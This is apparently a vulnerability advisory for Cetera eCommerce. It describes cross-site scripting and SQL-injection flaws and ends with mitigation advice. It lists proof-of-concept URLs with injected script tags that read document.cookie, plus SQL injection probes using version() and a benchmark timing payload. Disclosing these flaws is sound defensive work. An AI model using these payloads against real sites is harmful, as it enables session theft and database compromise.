Cetera eCommerce Multiple Cross-Site Scripting and SQL-Injection Vulnerabilities

Cetera eCommerce is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Cross Site Scripting examples include: http://www.example.com/catalog/%3Cscript%3Ealert(document.cookie)%3C/script%3E/, http://www.example.com/vendors/%3Cscript%3Ealert(document.cookie)%3C/script%3E/, http://www.example.com/catalog/cart/%3Cscript%3Ealert(document.cookie)%3C/script%3E/, http://www.example.com/news/%3Cscript%3Ealert(document.cookie)%3C/script%3E/, http://www.example.com/news/13012011111030/%3Cscript%3Ealert(document.cookie)%3C/script%3E/, http://www.example.com/%3Cscript%3Ealert(document.cookie)%3C/script%3E/. SQL Injection examples include: http://www.example.com/catalog/(version()=5.1)/, http://www.example.com/catalog/cart/.+benchmark(100000,md5(now()))+./

Mitigation:

Input validation should be used to ensure that untrusted data is not used to execute unintended commands or queries. It is also recommended to use a whitelist of accepted inputs that strictly conform to specifications. Additionally, it is recommended to use an escape mechanism to prevent malicious SQL queries from being executed.
